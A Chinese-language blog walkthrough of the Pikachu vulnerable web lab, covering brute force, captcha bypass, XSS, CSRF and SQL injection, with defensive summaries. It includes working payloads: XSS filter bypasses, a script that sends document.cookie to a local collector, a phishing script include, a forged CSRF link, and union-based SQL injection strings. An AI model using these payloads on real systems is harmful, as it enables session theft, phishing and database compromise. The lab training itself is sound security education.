pikachu靶場通關

吾言道 2022-01-08 04:48:37 阅读数:950

pikachu

pikachu靶場通關詳解

一、靶場介紹

靶場源碼鏈接:
GitHub:https://github.com/zhuifengshaonianhanlu/pikachu
靶場漏洞介紹:
在這裏插入圖片描述

二、靶場配置

先安裝phpstudey,在GitHub上下載源碼,放在phpstudy的www(網站)目錄下,完成配置與初始化。
靶場搭建鏈接(內含phpstudy與pikachu的配置):
https://blog.csdn.net/weixin_42474304/article/details/117533788

三、靶場實戰

3.1 暴力破解漏洞

3.1.1暴力破解攻擊&暴力破解漏洞概述

對暴力破解的理解:暴力破解=連續性的嘗試+字典+自動化。
其實就是去猜可能的密碼,經過不斷的試賬號和密碼,找出正確的賬號密碼,達到暴力破解的目的。
最重要的部分就是字典,一個好的字典可以大大加快破解速度。

  • 常用的賬號密碼(弱口令),比較常用的賬號密碼,系統初始設定的賬號密碼,比如常用用戶名/密碼TOP 500等。
  • 互聯網上被脫褲後賬號密碼(社工庫) ,差不多就是撞庫,也就是拿已知的一個庫去嘗試登錄另外一個庫。比如CSDN當年泄漏的約600w用戶信息。
  • 使用指定的字符使用工具按照指定的規則進行排列組合算法生成的密碼,特定的字符很多,像手機號、出生日期,姓名等等。

對於暴力破解漏洞的話,如果個網站沒有對登錄接 實施防暴力破解的措施,或者實施 了不合理的措施,稱該網站存在暴力破解漏洞。
*是否要求用戶設置了複雜的密碼;
*是否每次認證都使用安全的驗證碼;
*是否對嘗試登錄的行為進行判斷和限制;
*是否在必要的情况下采用了雙因素認證;
…等等。
存在暴力破解漏洞的網站可能會遭受暴力破解攻擊,但該暴力破解攻擊成功的可能性並不是100% !
所以有些網站即雖然存在暴力破解漏洞,但其管理員可能會忽略它的危害。搞安全的話,不能有僥幸心理,否則隨時會被幹掉。

3.1.2暴力破解漏洞測試流程

1、確認是否存在暴力破解漏洞 :
確認目標是否存在暴力破解的漏洞。( 確認被暴力破解的“可能性" )
比如:嘗試登錄一抓包-- -觀察驗證元素和response信息,判斷否存在被暴力破解的可能。
2、對字典進行配置
根據實際的情况對字典進行配置,提高爆破過程的效率。
技巧一:
根據注册提示信息進行優化
對目標站點進行注册,搞清楚賬號密碼的一些限制,比如目標站點要求密碼必須是6比特以上,字母數字組合,則可以按照此優化字典,比如去掉不符合要求的密碼。
技巧二:
如果爆破的是管理後臺,往往這種系統的管理員是admin/administrator/root的機率比較高,可以使用這三個賬號+隨便-個密碼 ,嘗試登錄 ,觀看返回的結果 ,確定用戶名。
比如:
輸入xxx/yyyf返回“用戶名或密碼錯誤"
輸入admin/yy返回"密碼錯誤”, 則基本可以確定用戶名是admin ;
因此可以只對密碼進行爆破即可,提高效率。

3、工具自動化操作
配置自動化工具(比如線程、超時時間、重試次數等) , 進行自動化操作。

3.1.3基於錶單的暴力破解攻擊(基於burp suite )

在這裏插入圖片描述

測試目標: Pikachu-暴力破解-基於錶單的暴力破解
測試工具: burp suite free edition-intruder
burp官方下載通道
進行嘗試性登錄,提示用戶名或密碼不存在,登陸失敗。
在這裏插入圖片描述
在burp看到是一個post請求,賬號和密碼分別是1231和1234。
在這裏插入圖片描述
在響應界面正常返回一個登陸失敗的的界面。
在這裏插入圖片描述
選中此條post請求發送到Intruder中
在這裏插入圖片描述

將原始數據包中的變量清除,選中用戶名和密碼點擊Add$將其設置為變量。
在這裏插入圖片描述

  • Sniper模式邏輯:先將第一個變量也就是用戶名替換,第二個變量不動。當第一個變量替換完之後,對第二個變量進行依次替換。直白一點就是說一個變,另外一個不變,第一個變完,變第二個。
  • Battering ram模式邏輯:所有變量進行同時同樣的替換。就是說你變我也變,你變什麼我也變什麼。
  • Pitchfork模式邏輯:所有變量同時替換,但是各自變量替換各自的字典,同時進行,但是互不相幹。替換時第一個變量的第一替換值對應第二個變量的第一個替換值,不進行排列組合,就是1對1,2對2。不會將密碼進行隨機的排列組合。
  • Cluster bomb模式邏輯:與Pitchfork模式邏輯類似,不同點是Cluster bomb模式會進行隨機的排列組合。

在這裏我們使用Cluster bomb模式進行破解,在Payloads中配置第一個變量和第二個變量的字典,這裏可以手動輸入添加,也可以在系統中添加已經寫好的字典。
在這裏插入圖片描述

添加字典後進行攻擊,根據返回數據包的長度進行判斷是否成功。為了方便觀察也可以在grep-match中删除原有字符串,添加username or password is not exists,burp就會將所有含有此字符串的數據包flag出來。沒有被flag出的數據包則是我們破解成功的數據包。點擊username or password is not exists進行排序,沒有勾選的則錶明破解成功,有勾選的則錶明破解失敗。
在這裏插入圖片描述
用破解出的賬戶密碼進行登錄,login success。
在這裏插入圖片描述

3.1.4暴力破解之不安全的驗證碼分析—on client—on server

驗證碼的作用:
防止登錄暴力破解
防止機器惡意注册
驗證碼大概的的認證流程:

  • 客戶端request登錄頁面,後臺生成驗證碼:
    1.後臺使用算法生成圖片,並將圖片response給客戶端;
    2.同時將算法生成的值全局賦值存到SESSION中;
  • 校驗驗證碼:
    1.客戶端將認證信息和驗證碼-同提交;
    2.後臺對提交的驗證碼與SESSION裏面的進行比較;
  • 客戶端重新刷新頁面,再次生成新的驗證碼:
    驗證碼算法中一般包含隨機函數,所以每次刷新都會改變;

不安全的驗證碼on client繞過演示

隨機輸入賬號密碼,輸入相應驗證碼,利用burp抓包。
在這裏插入圖片描述

登錄失敗驗證碼發生變化。
在這裏插入圖片描述

查看源碼,我們可以發現驗證碼是JavaScript隨機生成,點擊一次函數運行一次生成一個相應的驗證碼。在這裏插入圖片描述
將數據包發送到repeater中,對驗證碼進行判定,判定後臺是否對驗證碼進行校驗。修改驗證碼點擊go,多次嘗試發現返回的信息都是username or password is not exists,但是沒有提示驗證碼錯誤。在這裏插入圖片描述
則可以判斷雖然驗證碼被提交,但是後臺並沒有驗證。這個驗證碼框是通過JavaScript實現的,對於不懂安全的人來說,可以起到一定的防範作用。但對於知道這個原理的人來說形同虛設。
接下來,就與基於錶單的流程一樣,發送數據包到Intruder中,選用Cluster bomb模式修改變量,因為驗證碼後臺並不校驗沒有用,所以只用選擇用戶名與密碼。在這裏插入圖片描述
在payload中導入字典進行爆破。
在這裏插入圖片描述
進行長度排序,根據數據包長度不同,找到可能的密碼。
在這裏插入圖片描述
輸入用戶名,密碼和驗證碼,破解成功。
在這裏插入圖片描述
不安全的驗證碼- on client常見問題
●使用前端js實現驗證碼(紙老虎) ;
●將驗證碼在cookie中泄露,容易被獲取;
●將驗證碼在前端源代碼中泄露,容易被獲取;
不安全的驗證碼- on server-演示
隨機輸入賬號密碼,輸入相應驗證碼,利用burp抓包。
在這裏插入圖片描述
登錄失敗,驗證碼發生變化。
在這裏插入圖片描述

將數據包發送到repeater,進行判斷。將驗證碼設置為空,點擊運行,出現錯誤提示,驗證碼不能為空。在這裏插入圖片描述
隨機輸入一個驗證碼,點擊運行,出現錯誤提示,驗證碼不正確。在這裏插入圖片描述
經過判斷,我們發現後臺對驗證碼有進行校驗,那是不是這樣就沒問題了呢?顯然不是這樣,從錶面上看沒有問題,但是我們還需要對驗證碼是否在後臺過期進行進一步驗證。首先先點擊驗證碼,獲取一個新的驗證碼,並將其記下來。在這裏插入圖片描述
然後返回數據包中,將正確的驗證碼輸入。點擊運行,提示用戶名和密碼不正確。為了驗證驗證碼是否一致有效,我們修改用戶名和密碼,驗證碼不變,點擊運行,結果一樣。說明驗證碼可以重複利用。
將數據包發送到Intruder,設置變量用戶名和密碼,驗證碼則輸入正確的驗證碼,不設置變量。輸入字典進行破解。在這裏插入圖片描述
進行長度排序,找出正確用戶名與密碼。在這裏插入圖片描述
登陸成功。
在這裏插入圖片描述

不安全的驗證碼-on server常見問題
●驗證碼在後臺不過期,導致可以長期被使用;
●驗證碼校驗不嚴格,邏輯出現問題;
●驗證碼設計的太過簡單和有規律,容易被猜解

3.1.5Token可以防暴力破解嗎?

一個token示例

//生成一個token,以當前的時間+一個5比特的前綴
function set_token(){

if(isset($_SESSION['token'])){

unset($_SESSION['token']);
}
$_SESSION['token']=str_replace('.','',uniqid(mt_rand(10000,99999),true));
}

一般的做法:
1.將token以"type=‘hidden’’”的形式輸出在錶單中;
2.在提交的認證的時候一起提交,並在後臺對其進行校驗;
但,由於其token值輸出在了前端源碼中,容易被獲取,因此也就失去了防暴力破解的意義。一般Token在防止CSRF上會有比較好的功效,具體講在CSRF漏洞章節進行講解。

3.1.6暴力破解常見的防範措施

防暴力破解的措施總結
●設計安全的驗證碼(安全的流程+複雜而又可用的圖形) ;
●對認證錯誤的提交進行計數並給出限制,比如連續5次密碼錯誤,鎖定2小時;
●必要的情况下,使用雙因素認證;

3.2 XSS(跨站脚本攻擊漏洞)

3.2.1跨站脚本漏洞概述

●XSS漏洞一直被評估為web漏洞中危害較大的漏洞,在OWASP TOP10的排名中一直屬於前三的江湖地比特。
●XSS是一種發生在Web前端的漏洞,所以其危害的對象也主要是前端用戶。
●XSS漏洞可以用來進行釣魚攻擊、釣魚攻擊、前端js挖礦、用戶cookie獲取。甚至可以結合瀏覽器自身的漏洞對用戶主機進行遠程控制等
XSS(竊取cookie)攻擊流程
在這裏插入圖片描述

3.2.2跨站脚本漏洞類型及測試流程

跨站脚本漏洞常見類型

危害:存儲型>反射型> DOM型

●反射型
交互的數據一般不會被存在在數據庫裏面,一次性,所見即所得,一般出現在查詢類頁面等。
●存儲型
交互的數據會被存在在數據庫裏面,永久性存儲,一般出現在留言板,注册等頁面。
●DOM型
不與後臺服務器產生數據交互,是一種通過DOM操作前端代碼輸出的時候產生的問題,一次性也屬於反射型。

xss漏洞形成的原因:
形成XSS漏洞的主要原因是程序對輸入和輸出的控制不够嚴格,導致“精心構造"的脚本輸入後,在輸到前端時被瀏覽器當作有效代碼解析執行從而產生危害。

跨站脚本漏洞測試流程:
①在目標站點上找到輸入點,比如查詢接口,留言板等;
②輸入一組”特殊字符+唯一識別字符”, 點擊提交後,查看返回的源碼,是否有做對應的處理;
③通過搜索定比特到唯一字符,結合唯一字符前後語法確認是否可以構造執行js的條件 (構造閉合) ;
④提交構造的脚本代碼(以及各種繞過姿勢),看是否可以成功執行,如果成功執行則說明存在XSS漏洞;

提示:
1.一般查詢接口容易出現反射型XSS ,留言板容易出現存儲型XSS ;
2.由於後臺可能存在過濾措施,構造的script可能會被過濾掉,而無法生效或者環境限制了執行(瀏覽器) ;
3.通過變化不同的script ,嘗試繞過後臺過濾機制;

3.2.3反射型XSS ( get&post )演示

在對應的輸入點輸入特殊字符如:;"’<>9999
目的就是看一看是否會被過濾,(因為我們含有特殊字符)有沒有被輸出,有沒有被處理。點擊提交。
在這裏插入圖片描述
查看頁內源碼,CTRL+F在頁面內查找我們輸入的字符。在這裏插入圖片描述
輸入的特殊字符被原封不動的輸出,那麼我們輸入正確的JavaScript語句就有可能會被原封不動的返回。在這裏插入圖片描述
語句輸入到一半時,發現不能輸入了,原因是對長度進行了限制。這是在前端的安全設置,意義不是很大。兵來將擋水來土掩,在設置中打開web開發者工具,查找輸入框語句。在這裏插入圖片描述
可以看到長度為20,我們將其修改為2000即可。
在這裏插入圖片描述
輸入代碼<script>alert('xss')</script>,我們可以看到在輸入框中的語句被執行,出現了xss彈窗。
在這裏插入圖片描述
因為是反射性,一次性的,刷新頁面之後彈窗消失。這個xss實際上是以get的方式提交的。

GET和POST典型區別:
GET是以url方式提交數據;
POST是以錶單方式在請求體裏面提交;

GET方式的XSS漏洞更加容易被利用, 一般利用的方式是將帶有跨站脚本的URL偽裝後發送給目標,而POST方式由於是以錶單方式提交,無法直接使用URL方式進行攻擊,如何利用?可以思考一下3.2.6揭曉。

3.2.4存儲型XSS演示

存儲型XSS漏洞跟反射型形成的原因一樣,不同的是存儲型XSS下攻擊者可以將脚本注入到後臺存儲起來,構成更加持久的危害,因此存儲型XSS也稱“永久型”XSS。

在留言版上試著輸入留言6666。
在這裏插入圖片描述
我們發現留言被後臺存儲,並沒有消失。
按之前的思路,測這個留言板是否存在xss漏洞,在留言板輸入特殊字符。在這裏插入圖片描述
打開頁面源碼,CTRL+F去搜索我們輸入字符的比特置。在這裏插入圖片描述
沒有任何處理,直接被輸出。我們輸入一個payload,一個彈窗。在這裏插入圖片描述
點擊提交,我們發現語句被執行出現了彈窗。在這裏插入圖片描述
我們進行頁面切換,然後再次切換回來,發現彈窗依然存在,說明我們輸入的語句已經被存儲起來。在這裏插入圖片描述
道理與反射性差不多,唯一區別就是永久和一次性。

3.2.5Dom型XSS演示

工欲善其事必先利其器,在了解Dom型xss,我們先了解什麼是DOM。From w3school

通過JavaScript,可以重構整個HTML文檔。可以添加、移除、改變或重排頁面上的項目。
要改變頁面的某個東西,JavaScript 就需要獲得對HTML文檔中所有元素進行訪問的入口。這個入口,連同對HTML元索進行添加、移動、改變或移除的方法和屬性,都是通過文檔對象模型來獲得的( DOM) 。
所以,你可以把DOM理解為一個一個訪問HTML的標准編程接口。
可以自己看一個具體的栗子:w3school HTML DOM
打開DOM型xss,在輸入框中輸入一串字符。在這裏插入圖片描述
顯示結果是what do you see?,看起來應該是A標簽,打開頁面源碼,CTRL+F搜索這串字符,看一下它具體是做了什麼操作。在這裏插入圖片描述
輸入的字符串,被拼接到了a標簽當中。
判斷此處是否有xss漏洞,與之前思路一樣。先確認輸入點,輸入就是input也就是輸入框。輸出的話DOM是純前端操作,輸出也是前端輸出。
在這裏插入圖片描述
藍框框選的就是我們的輸入,我們把這條語句拿出來分析,利用輸入構造一個閉合。

<a href='"+str+"'>what do you see?</a>

我們還是輸入一個彈窗,在input輸入#' onclick="alert(666)”>
構成a標簽閉合,且嵌入一個彈窗。<a href='#' onclick="alert(666)">'>what do you see?</a>
在這裏插入圖片描述
屬於低危漏洞,好像比較雞肋,但是前端編寫各種各樣,還是需要注意的。
DOM型xss-x
xss-x就屬於一個例外的例子。
在輸入框輸入字符,並點擊進行提交。在這裏插入圖片描述
同樣我們要看它的具體操作是什麼,打開頁面源碼進行查看。在這裏插入圖片描述
它的輸入實際上是從url上獲取的,這就類似反射性。
我們還是對其進行閉合,與之前一樣是a標簽閉合。在input輸入#' onclick="alert(666)”>
在這裏插入圖片描述
點擊之後,產生一個666的彈窗。

3.2.6XSS盲打演示和原理分析

xss盲打指的是一種攻擊場景。
在這裏插入圖片描述
也就是說只有後臺會看到前端輸入的內容。從前端無法判斷是否存在XSS ,怎麼辦?
不管3721,往裏面插XSS代碼,然後等待,可能會有驚喜!
由於是後端,可能安全考慮不太嚴格。當管理員登錄時,就會被X !
打開xss之盲打,隨意輸入看看是什麼效果。在這裏插入圖片描述
我們輸入的內容並不會在前端輸出,看起來應該是存到了後臺,也就是說可能只有管理員可以看。
我們輸入<script>alert('xni')</script>,設置一個彈窗,看看管理員在後臺登陸上,是否會被x到。如果被x到這種場景就叫做盲打。
輸入之後提交,點擊提示,登錄管理員網址。
在這裏插入圖片描述
輸入用戶密碼後點擊登錄。
在這裏插入圖片描述
我們可以發現後臺管理員被x到。在這裏插入圖片描述
在這裏插入圖片描述
這種情况就是xss盲打,對攻擊者來說只是嘗試的輸入,並不知道後臺是否被輸出,只是嘗試的輸入跨站脚本。管理員被x到,攻擊者成功。這種危害比較大,如果在前端輸入一段盜取cookie的脚本,管理員一登陸,管理員的cookie就會被獲取。攻擊者就可以偽裝管理員登陸後臺,後臺的權限就大了。

3.2.7XSS的過濾和繞過( filter&htmlspecialchars )

XSS繞過-過濾-轉換
0,前端限制繞過,直接抓包重放,或者修改html前端代碼
1,大小寫,比如: <SCRIPT> aLeRT(111)</sCRIpt>
2,拼凑: <scri<script> pt> alert(111)</scri</script> pt>
3,使用注釋進行幹擾: <scri<!--test--> pt> alert(111)</sc <--test--> ript>

XSS繞過-過濾-編碼
核心思路:

後臺過濾了特殊字符,比如< script>標簽,但該標簽可以被各種編碼,後臺不一定會過濾
當瀏覽器對該編碼進行識別時,會翻譯成正常的標簽,從而執行.
在使用編碼時需要注意編碼在輸出點是否會被正常識別和翻譯!

栗子1:
< img src=x onerror=”alert( xss )"將alert(‘xss’ )進行URL編碼,可以執行嗎

<img src=x onerror= " alert%28%27xss%27%29" />

不可以,因為這些屬性標簽並不會正常解析這些編碼。

栗子2 :
使用事件屬性onxxx();
<img src=x onerror=" alert('xss')" />可以把alert("xss )進行html編碼

<img srC=X onerror=" &#97;&# 108;&#101;&#114;&# 116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;/>
<img src=xonmouseover= "&#97;&l# 108;&# 101;&#114;&#116;&#40;&#39;&#120;&l#115;&#115;&#39;&#41;"/>

可以執行。事件標簽裏面並不會執行標簽裏面的代碼。
XSS繞過的姿勢有很多取决於你的思路和對前端技術的掌握程度
打開xss之過濾我們隨意輸入一串字符<script>;'#@
在這裏插入圖片描述
我們打開頁面源碼查看在這裏插入圖片描述
我們輸入的script應該是被x掉了。我們嘗試大小寫混合,看看能不能繞過。

<scRIPt>alert(666)</ScrIpt>

在這裏插入圖片描述
查看代碼我們發現只對小寫的script進行了過濾,我們也可以使用img標簽。

<img src=x onerror="alert(666)">

在這裏插入圖片描述
XSS繞過關於htmlspecialchars()函數

htmlspecialchars()函數把預定義的字符轉換為HTML實體。
預定義的字符是:

&(和號)成為&amp
"(雙引號)成為&quot
'(單引號)成為&#039
<(小於)成為&lt
‘>’(大於)成為&gt

可用的引號類型:

ENT_ COMPAT -默認。僅編碼雙引號。
ENT QUOTES -編碼雙引號和單引號。
ENT NOQUOTES -不編碼任何引號。

打開xss之html***********
我們還是先輸入一段字符串66666’“<>#$%在這裏插入圖片描述
提交之後我們看源碼在這裏插入圖片描述
我們發現除了單引號其他的特殊字符都進行了編碼,我們可以輸入q' onclick='alert(666)'第一個單引號是對前面進行閉合。在這裏插入圖片描述

3.2.8XSS輸出在href和js中的案例分析

打開xss之herf,輸入Javascript:alert(666),不含有特殊字符。在這裏插入圖片描述
我們查看頁內源碼在這裏插入圖片描述在a標簽的herf中,我們返回頁面點擊返回的藍色字體。在這裏插入圖片描述
alert被執行,出現彈窗。在這裏我們可以做出相應防範,只允許http,https,其次在進行htmlspecialchars處理。
打開xss之js,我們隨意輸入然後查看頁內原碼。在這裏插入圖片描述
我們輸入tmac
在這裏插入圖片描述
我們嘗試造成閉合,輸入x'</script><script>alert('xss')</script>,先將前面的script閉合再插入我們自己的語句。在這裏插入圖片描述

3.2.9XSS的危害-獲取cookie的原理和演示

get型xss利用
在管理工具中打開xss後臺在這裏插入圖片描述
數據庫用戶名與密碼,要改正確,或者直接把自己的改成root,root。
在這裏插入圖片描述
登陸之後,點擊cookie收集,顯示一個結果,默認沒有數據。
在這裏插入圖片描述
打開反射型xss(get),首先先解决字符長度的問題,3.2.3有介紹不再贅述了,之前我們輸入payload出現彈窗,我們這次輸入一個比較複雜的payload,目的就是為了獲取用戶本地的cookie,發送到我們的xss後臺。

<script>document.location = 'http://127.0.0.1/pikachu-master/pikachu-master/pkxss/xcookie/cookie.php?cookie=' +document.cookie;</script>

這裏的payload需要自己修改,由於都是本地,全部改成127.0.0.1即可,後面就是www後的路徑。我自己phpstudy的www後的路徑為pikachu-master/pikachu-master/pkxss/xcookie/cookie.php,注意一下需要修改這兩個文件中的代碼。在這裏插入圖片描述

執行之後,跳回了首頁。
在這裏插入圖片描述
打開xss後臺,刷新,顯示獲取cookie。
在這裏插入圖片描述
postxss
輸入賬號密碼登錄,頁面跳轉,輸入字符,不難發現並沒有在url中提交參數。
在這裏插入圖片描述
打開burp查看抓包。在這裏插入圖片描述
我們發現message是通過請求體返回,通過post方式傳到後臺。這樣的話是不能把惡意代碼嵌入url中。
POST型XSS獲取cookie原理
在這裏插入圖片描述

我們需要自己搭一個惡意站點,然後在網站上放一個post錶單,將存放POST錶單的鏈接發送給受害者,誘導受害者點擊。 這個POST錶單會自動向漏洞服務器提交一個POST請求,實現受害者幫我們提交POST請求的目的。我們只需要誘導受害者點擊上面的鏈接就能竊取用戶的Cookie。

3.2.10XSS危害-XSS進行釣魚的原理和演示

釣魚思路:
在這裏插入圖片描述

打開xss釣魚後臺,打開存儲型xss,輸入<script src="http://127.0.0.1/pikachu-master/pkxss/xfish/fish.php"></script>,頁面會出現彈窗,輸入賬號密碼。當頁面刷新時依然存在彈窗,所有訪問者都會遇到彈窗,輸入賬號密碼後,數據被存入後臺,打開xss後臺即可查看釣魚數據。
在這裏插入圖片描述

3.2.11XSS危害XSS獲取鍵盤記錄原理和演示

跨域:
在這裏插入圖片描述
當協議、主機(主域名,子域名)、端口中的任意一一個不相同時,稱為不同域。我們把不同的域之間請求數據的操作,成為跨域操作。
跨域同源策略
了安全考慮,所有的瀏覽器都約定了"同源策略”, 同源策略規定,兩個不同域名之間不能使用JS進行相互操作。比如: x.com域名下的javascrip並不能操作y.com域下的對象。
如果想要跨域操作,則需要管理員進行特殊的配置。
比如通過: header( “Access -Control Allow- Origin:x.com” )指定。
Tips:下面這些標簽跨域加載資源(資源類型是有限制的)是不受同源策略限制的。

`

在這裏插入圖片描述
提交之後,這段js代碼就被嵌入到了頁面當中。打開rkserver,設置一個header,允許跨域訪問。
在這裏插入圖片描述
打開控制臺,在頁面上隨意輸入,可以看到請求。
在這裏插入圖片描述
在頁面上,隨意進行輸入。在後臺查看,可以看到鍵盤敲擊被記錄。

在這裏插入圖片描述

3.2.12XSS常見防範措施

總的原則:輸入做過濾,輸出做轉義
過濾:根據業務需求進行過濾,比如輸入點要求輸入手機號,則只允許輸入手機號格式的數字。
轉義:所有輸出到前端的數據都根據輸出點進行轉義,比如輸出到html中進行htm|實體轉義,輸入到JS裏面的進行js轉義。

3.3CSRF(跨站請求偽造漏洞)

3.3.1CSRF漏洞概述

Cross-site request forgery簡稱為"CSRF" 。
在CSRF的攻擊場景中攻擊者會偽造一個請求(這個請求一般是一 個鏈接)
然後欺騙目標用戶進行點擊,用戶一旦點擊了這個請求,整個攻擊也就完成了。
所以CSRF攻擊也被稱為為" one click "攻擊。
為了方便理解,舉個栗子理解一下在這裏插入圖片描述
正常情况下,lucy登錄後,編輯好修改的內容,點擊提交即可完成個人信息的修改
鏈接url:http://192.168.112.200/ant/vulnerabilities/csrf/csrfget/csrf_ mem_ edit.php?sex= 女&phonenum= 12345678922&add=地球村504號&[email protected] ka’ chu.com&submit=submit
這個時候小白想要修改lucy的個人信息該怎麼做?
首先要有lucy的權限!
小白將修改個人信息的請求偽造,引誘lucy在登陸的情况下點擊,攻擊就成功了。
http://192.168.112.200/ant/vulnerbiltie./csrf/csrfget/csrf mem. edit.php?sex=女&phonenum= 13856564455&add=火星村111號&[email protected]&tsubmit= submit
攻擊成功條件:

條件1 : xxx購物網站沒有對個人信息修改的請求進行防CSRF處理,導致該請求容易被偽造。因此,我們判斷一個網站是否存在CSRF漏洞 ,其實就是判斷其對關鍵信息 (比如密碼等敏感信息)的操作(增删改)是否容易被偽造。

條件2 : lucy在登錄了後臺的情况下,點擊了小白發送的"埋伏"鏈接。如果lucy不在登錄狀態下,或者lucy更本就沒有點擊這個鏈接,則攻擊不會成功。

csrf與xss的區別
如果小白事先在xx網的首頁如果發現了一個XSS漏洞,則小白可能會這樣做:
1,欺騙Iucy訪問埋伏了XSS脚本(盜取cookie的脚本)的頁面;
2,Iucy中招,小白盜取到到ucy的cookie ;
3,小白順利登錄到lucy的後臺,小白自己修改lucy的相關信息;

CSRF是借用戶的權限完成攻擊,攻擊者並沒有拿到用戶的權限,而XSS是直接盜取到了用戶的權限,然後實施破壞。
如何確認一個web系統存在csrf漏洞
1,對目標網站增删改的地方進行標記,並觀察其邏輯,判斷請求是否可以被偽造
–比如修改管理員賬號時 ,並不需要驗證舊密碼 ,導致請求容易被偽造 ;
–比如對於敏感信息的修改並沒有使用安全的token驗證,導致請求容易被偽造;
2.確認憑證的有效期(這個問題會提高CSRF被利用的概率)
—雖然退出或者關閉了瀏覽器,但cookie仍然有效,或者session並沒有及時過期,導致CSRF攻擊變的簡單

3.3.2CSRF ( get/post )實驗演示和解析

CSRFget
我們假設我們是Lucy,登陸網站修改信息。在這裏插入圖片描述
在這裏插入圖片描述
我們點擊修改信息並提交,修改成功。我們打開burp查看抓到的數據包
在這裏插入圖片描述
這是我們的請求:GET/vul/csrf/csrfget/csrf_get_edit.phpsex=5&phonenum=54151&add=411&email=www&submit=submit
我們並沒有看到CSRF的token,說明並沒有防CSRF的措施。
修改get請求,將地址411修改為shanxi

http://127.0.0.1/pikachu-master/vul/csrf/csrfget/csrf_get_edit.phpsex=5&phonenum=54151&add=shanxi&email=www&submit=submit

現在只需要把這個請求通過郵件或者信息發給Lucy,Lucy進行了訪問。地址被更開。在這裏插入圖片描述
post型,因為是請求體,不能在url中,和xsspost類似需要自己弄一個站點,做一個錶單,讓Lucy點我們惡意站點錶單的url,向頁面提交post請求。

3.3.3Anti CSRF token

CSRF的主要問題是敏感操作的鏈接容易被偽造,那麼如何讓這個鏈接不容易被偽造?
-每次請求,都增加一個隨機碼(需要够隨機,不容易偽造), 後臺每次對這個隨機碼進行驗證!
Ant上CSRF ( token )項目的token生成代碼:

在這裏插入圖片描述

3.3.4常見CSRF防範措施

增加token驗證(常用的做法) :
1,對關鍵操作增加token參數,token值必須隨機,每次都不一樣;
關於安全的會話管理(避免會話被利用) :
1,不要在客戶端端保存敏感信息(比如身份認證信息) ;
2,測試直接關閉,退出時,的會話過期機制;
3,設置會話過期機制,比如15分鐘內無操作,則自動登錄超時;
訪問控制安全管理:
1,敏感信息的修改時需要對身份進行二次認證,比如修改賬號時,需要判斷舊密碼;
2,敏感信息的修改使用post,而不是get ;
3,通過http頭部中的referer來限制原頁面
增加驗證碼:
一般用在登錄(防暴力破解) ,也可以用在其他重要信息操作的錶單中(需要考慮可用性)

3.4SQL-Inject(SQL注入漏洞)

3.4.1SQL Inject漏洞原理概述

在owasp發布的top 10漏洞裏面,注入漏洞一直是危害排名第一,其中主要指SQL Inject漏洞。
數據庫注入漏洞,主要是開發人員在構建代碼時,沒有對輸入邊界進行安全考慮,導致攻擊著可以通過合法的輸入點提交一些精心構造的語句 ,從而欺騙後臺數據庫對其進行執行,導致數據庫信息泄漏的一種漏洞。

在這裏插入圖片描述
正常輸入:1 select email from users where id= 1;
非法輸入:1or1=1 select email from users where id= 1 or 1=1;

SQL Inject 漏洞攻擊流程

  1. 第一步:注入點探測
    自動方式:使用web漏洞掃描工具,自動進行注入點發現
    手動方式:手工構造sq| inject測試語句進行注入點發現
  2. 第二步:信息獲取
    通過注入點取期望得到的數據。
    1.環境信息:數據庫類型,數據庫版本,操作系統版本,用戶信息等。
    2.數據庫信息:數據庫名稱,數據庫錶,錶字段,字段內容(加密內容破解)
  3. 第三步:獲取權限
    獲取操作系統權限:通過數據庫執行shell,上傳木馬
    常見的注入點類型:
    數字型
user_ id= $id

字符型

user. id= '$id'

搜索型

text LIKE '%{$_ GET['search']}%'"

3.4.2注入方式get&post&搜索型&xx型

pikachu- SQL-Inject- 數字型注入
post型注入演示
下拉框隨意點擊一個數字
在這裏插入圖片描述
發現url中並沒有傳參,提交方式為post方式。
先測試這個輸入點是否存在漏洞。正常邏輯我們輸入一個id,之後返回數據,應該是後臺在數據庫中進行了查詢,返回了姓名和郵箱可以認為語句是

select 字段1,字段2 from 錶名 where id = 1

後端接收應該是:$id=$_POST['id']之後把接收到的參數傳進去。
我們點擊數字1,進行查詢,之後打開burp查看抓包。在這裏插入圖片描述
選中發送到Repeater,我們在輸入點輸入一段payload:1 or 1=1,點擊提交。在這裏插入圖片描述
點擊Render,可以查看返回界面。
在這裏插入圖片描述
結果就是它將所有的用戶和郵箱全部返回在頁面上。
pikachu- SQL-Inject- 字符型注入
隨意輸入一段字符,點擊提交提示用戶名不存在。發現請求在url中。在這裏插入圖片描述
正常返回是兩個字段,用戶名和郵箱。我們可以對後臺運行做出猜想。

select 字段1,字段2 from 錶名 where username = '111';

後臺接收:$uname=$_GET['username']
與xss差不多我們要構成一個合法閉合。字符串需要加單引號才合法。我們需要把前後兩個單引號注釋掉。輸入kobe' or 1=1#第一個單引號會將前面的單引號閉合,後面的#號會注釋掉後面的單引號。我們嘗試提交。
在這裏插入圖片描述
結果會將數據庫錶中的東西遍曆出來。
搜索型注入
輸入字符k,點擊提交,觀察結果。
在這裏插入圖片描述
返回了所有含有k的用戶。

select from 錶名 where username like ' %k% ';

這種查詢比get多了%號,我們要想辦法構造一個合法的閉合。

select from 錶名 where username like ' %666%'or 1=1 #% ';

我們輸入字符查看結果。
在這裏插入圖片描述
只要理解,猜測後臺如何拼接,設置合法的payload,構造閉合。
xx型注入
查看後端代碼,多除了括號,我們還是進行閉合。
輸入xx’) or 1=1 #,查看結果。
在這裏插入圖片描述
所以說只要構造閉合成功就可以了。
在這裏插入圖片描述

3.4.3SQL Inject漏洞手工測試:基於union聯合查詢的信息獲取( select )

union聯合查詢:可以通過聯合查詢來查詢指定的數據
用法舉例:
select username,password from user where id=1 union select 字段1 ,字段2 from 錶名
聯合查詢的字段數需要和主查詢一致!
打開字符型注入,輸入a’ order by 5#。
在這裏插入圖片描述
說明第五列不存在。這個時候我們試一下3。
在這裏插入圖片描述
說明第三列也不存在。我們再換成2。
在這裏插入圖片描述
正常報錯,意味著主查詢裏只有兩個字段。確認字段後,構建union。

a' union select database(),uesr()#

在這裏插入圖片描述
這個時候就會把數據庫名稱,當前用戶,當前用戶權限顯示出來。
我們還可以查他的版本。

a' union select version(),4#

在這裏插入圖片描述
這裏版本號和數字四就被打印輸出來了。
還可以查其他東西,自己發揮了。以下僅供參考。

Select version(); //取的數據庫版本
Select database(); //取得當前的數據庫
Select user(); //取得當前登錄的用戶
order by X //對查詢的結果進行排序,按照第X列進行排序,默認數字0-9 ,字母a-z
思路:對查詢的結果使用order by按照指定的列進行排序,如果指定的列不存在,數據庫會報錯。通過報錯判斷查詢結果的列數,從而確定主查詢的字段數。

3.4.4通過information_ schema拿下數據庫手工測試完整案例演示

